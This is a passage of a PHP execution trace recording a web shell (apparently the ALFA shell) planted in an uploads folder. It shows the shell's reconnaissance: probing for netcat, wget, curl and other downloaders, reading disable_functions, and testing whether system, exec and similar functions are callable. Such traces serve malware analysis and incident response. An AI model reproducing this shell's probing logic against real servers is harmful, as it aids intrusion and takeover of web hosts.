9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 382 0 0.097674 3798744 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 382 1 0.097689 3798784
10 382 R TRUE
10 383 0 0.097703 3798768 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'which bzialfa2' ''
10 383 1 0.098872 3798888
10 383 R ''
10 384 0 0.098895 3798824 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' []
10 384 1 0.098913 3798888
10 384 R ''
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = ''
9 381 1 0.098947 3798744
9 381 R ''
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = ''
8 380 1 0.098973 3798744
8 380 R ''
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 $path = ''
7 379 1 0.098998 3798704
7 379 R FALSE
7 385 0 0.099012 3798704 alfaWhich 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 1 'nc'
8 386 0 0.099027 3798744 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 4 'which nc' FALSE FALSE ???
9 387 0 0.099045 3798744 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'which nc' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 388 0 0.099073 3798744 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 388 1 0.099089 3798784
10 388 R TRUE
10 389 0 0.099102 3798768 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'which nc' ''
10 389 1 0.100269 3799288
10 389 R '/usr/bin/nc'
10 390 0 0.100293 3799184 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' [0 => '/usr/bin/nc']
10 390 1 0.100312 3799248
10 390 R '/usr/bin/nc'
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = '/usr/bin/nc'
9 387 1 0.100342 3798784
9 387 R '/usr/bin/nc'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = '/usr/bin/nc'
8 386 1 0.100370 3798784
8 386 R '/usr/bin/nc'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 $path = '/usr/bin/nc'
7 385 1 0.100398 3798704
7 385 R 11
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 $x++
7 391 0 0.100425 3798704 alfaWhich 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 1 'locate'
8 392 0 0.100441 3798744 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 4 'which locate' FALSE FALSE ???
9 393 0 0.100458 3798744 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'which locate' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 394 0 0.100486 3798744 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 394 1 0.100501 3798784
10 394 R TRUE
10 395 0 0.100515 3798768 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'which locate' ''
10 395 1 0.101710 3798888
10 395 R ''
10 396 0 0.101734 3798824 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' []
10 396 1 0.101752 3798888
10 396 R ''
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = ''
9 393 1 0.101780 3798744
9 393 R ''
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = ''
8 392 1 0.101806 3798744
8 392 R ''
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 $path = ''
7 391 1 0.101831 3798704
7 391 R FALSE
7 397 0 0.101845 3798704 alfaWhich 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 1 'suidperl'
8 398 0 0.101861 3798744 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 4 'which suidperl' FALSE FALSE ???
9 399 0 0.101878 3798744 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'which suidperl' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 400 0 0.101912 3798744 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 400 1 0.101928 3798784
10 400 R TRUE
10 401 0 0.101941 3798768 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'which suidperl' ''
10 401 1 0.103137 3798888
10 401 R ''
10 402 0 0.103160 3798824 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' []
10 402 1 0.103178 3798888
10 402 R ''
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = ''
9 399 1 0.103206 3798744
9 399 R ''
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = ''
8 398 1 0.103233 3798744
8 398 R ''
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 $path = ''
7 397 1 0.103258 3798704
7 397 R FALSE
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 969 $downloaders = [0 => 'wget', 1 => 'fetch', 2 => 'lynx', 3 => 'links', 4 => 'curl', 5 => 'get', 6 => 'lwp-mirror']
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 970 $x = 0
7 403 0 0.103306 3798704 alfaWhich 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 971 1 'wget'
8 404 0 0.103322 3798744 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 4 'which wget' FALSE FALSE ???
9 405 0 0.103339 3798744 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'which wget' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 406 0 0.103367 3798744 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 406 1 0.103382 3798784
10 406 R TRUE
10 407 0 0.103395 3798768 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'which wget' ''
10 407 1 0.104603 3799288
10 407 R '/usr/bin/wget'
10 408 0 0.104628 3799184 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' [0 => '/usr/bin/wget']
10 408 1 0.104647 3799248
10 408 R '/usr/bin/wget'
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = '/usr/bin/wget'
9 405 1 0.104677 3798784
9 405 R '/usr/bin/wget'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = '/usr/bin/wget'
8 404 1 0.104706 3798784
8 404 R '/usr/bin/wget'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 $path = '/usr/bin/wget'
7 403 1 0.104734 3798704
7 403 R 13
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 971 $x++
7 409 0 0.104761 3798704 alfaWhich 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 971 1 'fetch'
8 410 0 0.104776 3798744 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 4 'which fetch' FALSE FALSE ???
9 411 0 0.104794 3798744 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'which fetch' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 412 0 0.104822 3798744 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 412 1 0.104837 3798784
10 412 R TRUE
10 413 0 0.104850 3798768 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'which fetch' ''
10 413 1 0.106059 3798888
10 413 R ''
10 414 0 0.106083 3798824 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' []
10 414 1 0.106101 3798888
10 414 R ''
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = ''
9 411 1 0.106129 3798744
9 411 R ''
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = ''
8 410 1 0.106156 3798744
8 410 R ''
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 $path = ''
7 409 1 0.106181 3798704
7 409 R FALSE
7 415 0 0.106195 3798704 alfaWhich 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 971 1 'lynx'
8 416 0 0.106211 3798744 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 4 'which lynx' FALSE FALSE ???
9 417 0 0.106228 3798744 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'which lynx' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 418 0 0.106256 3798744 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 418 1 0.106272 3798784
10 418 R TRUE
10 419 0 0.106285 3798768 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'which lynx' ''
10 419 1 0.107495 3798888
10 419 R ''
10 420 0 0.107518 3798824 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' []
10 420 1 0.107536 3798888
10 420 R ''
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = ''
9 417 1 0.107565 3798744
9 417 R ''
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = ''
8 416 1 0.107591 3798744
8 416 R ''
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 $path = ''
7 415 1 0.107616 3798704
7 415 R FALSE
7 421 0 0.107630 3798704 alfaWhich 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 971 1 'links'
8 422 0 0.107646 3798744 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 4 'which links' FALSE FALSE ???
9 423 0 0.107663 3798744 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'which links' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 424 0 0.107691 3798744 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 424 1 0.107707 3798784
10 424 R TRUE
10 425 0 0.107720 3798768 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'which links' ''
10 425 1 0.108911 3798888
10 425 R ''
10 426 0 0.108935 3798824 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' []
10 426 1 0.108953 3798888
10 426 R ''
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = ''
9 423 1 0.108981 3798744
9 423 R ''
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = ''
8 422 1 0.109007 3798744
8 422 R ''
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 $path = ''
7 421 1 0.109032 3798704
7 421 R FALSE
7 427 0 0.109045 3798704 alfaWhich 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 971 1 'curl'
8 428 0 0.109061 3798744 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 4 'which curl' FALSE FALSE ???
9 429 0 0.109083 3798744 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'which curl' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 430 0 0.109154 3798744 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 430 1 0.109171 3798784
10 430 R TRUE
10 431 0 0.109185 3798768 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'which curl' ''
10 431 1 0.110383 3799288
10 431 R '/usr/bin/curl'
10 432 0 0.110408 3799184 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' [0 => '/usr/bin/curl']
10 432 1 0.110427 3799248
10 432 R '/usr/bin/curl'
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = '/usr/bin/curl'
9 429 1 0.110458 3798784
9 429 R '/usr/bin/curl'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = '/usr/bin/curl'
8 428 1 0.110487 3798784
8 428 R '/usr/bin/curl'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 $path = '/usr/bin/curl'
7 427 1 0.110514 3798704
7 427 R 13
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 971 $x++
7 433 0 0.110541 3798704 alfaWhich 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 971 1 'get'
8 434 0 0.110557 3798744 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 4 'which get' FALSE FALSE ???
9 435 0 0.110574 3798744 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'which get' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 436 0 0.110632 3798744 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 436 1 0.110649 3798784
10 436 R TRUE
10 437 0 0.110662 3798768 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'which get' ''
10 437 1 0.111816 3798888
10 437 R ''
10 438 0 0.111840 3798824 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' []
10 438 1 0.111858 3798888
10 438 R ''
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = ''
9 435 1 0.111886 3798744
9 435 R ''
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = ''
8 434 1 0.111912 3798744
8 434 R ''
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 $path = ''
7 433 1 0.111938 3798704
7 433 R FALSE
7 439 0 0.111951 3798704 alfaWhich 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 971 1 'lwp-mirror'
8 440 0 0.111967 3798752 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 4 'which lwp-mirror' FALSE FALSE ???
9 441 0 0.111985 3798752 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'which lwp-mirror' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 442 0 0.112013 3798752 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 442 1 0.112029 3798792
10 442 R TRUE
10 443 0 0.112042 3798776 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'which lwp-mirror' ''
10 443 1 0.113269 3799312
10 443 R '/usr/bin/lwp-mirror'
10 444 0 0.113295 3799200 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' [0 => '/usr/bin/lwp-mirror']
10 444 1 0.113314 3799264
10 444 R '/usr/bin/lwp-mirror'
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = '/usr/bin/lwp-mirror'
9 441 1 0.113351 3798800
9 441 R '/usr/bin/lwp-mirror'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = '/usr/bin/lwp-mirror'
8 440 1 0.113381 3798800
8 440 R '/usr/bin/lwp-mirror'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 $path = '/usr/bin/lwp-mirror'
7 439 1 0.113409 3798704
7 439 R 19
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 971 $x++
7 445 0 0.113436 3798704 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 989 1 'get_magic_quotes_gpc'
7 445 1 0.113454 3798744
7 445 R TRUE
7 446 0 0.113466 3798704 get_magic_quotes_gpc 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 989 0
7 446 1 0.113481 3798704
7 446 R FALSE
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 989 $quotes = FALSE
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 989 $magic = '<span class="header_off">OFF</span>'
7 447 0 0.113523 3798704 Alfa_GetDisable_Function 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 991 0
8 448 0 0.113539 3798704 ini_get 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 725 1 'disable_functions'
8 448 1 0.113556 3799184
8 448 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 725 $disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 726 $afa = '<span class="header_show_all">All Functions Accessible</span>'
8 449 0 0.113619 3799152 explode 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 728 2 ',' 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
8 449 1 0.113644 3801624
8 449 R [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 728 $s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
8 450 0 0.113712 3801552 array_unique 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 729 1 [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
8 450 1 0.113745 3802920
8 450 R [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 729 $s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 730 $i = 0
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 731 $b = 0
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 732 $func = [0 => 'system', 1 => 'exec', 2 => 'shell_exec', 3 => 'proc_open', 4 => 'popen', 5 => 'passthru', 6 => 'symlink', 7 => 'dl']
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 733 $black_list = []
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 734 $allow_list = []
8 451 0 0.113880 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 'pcntl_alarm'
8 451 1 0.113896 3801584
8 451 R 'pcntl_alarm'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = 'pcntl_alarm'
8 452 0 0.113924 3801552 is_callable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 737 1 'pcntl_alarm'
8 452 1 0.113941 3801584
8 452 R FALSE
8 453 0 0.113954 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 'pcntl_fork'
8 453 1 0.113969 3801584
8 453 R 'pcntl_fork'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = 'pcntl_fork'
8 454 0 0.113995 3801552 is_callable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 737 1 'pcntl_fork'
8 454 1 0.114010 3801584
8 454 R FALSE
8 455 0 0.114023 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 'pcntl_waitpid'
8 455 1 0.114037 3801584
8 455 R 'pcntl_waitpid'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = 'pcntl_waitpid'
8 456 0 0.114063 3801552 is_callable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 737 1 'pcntl_waitpid'
8 456 1 0.114078 3801584
8 456 R FALSE
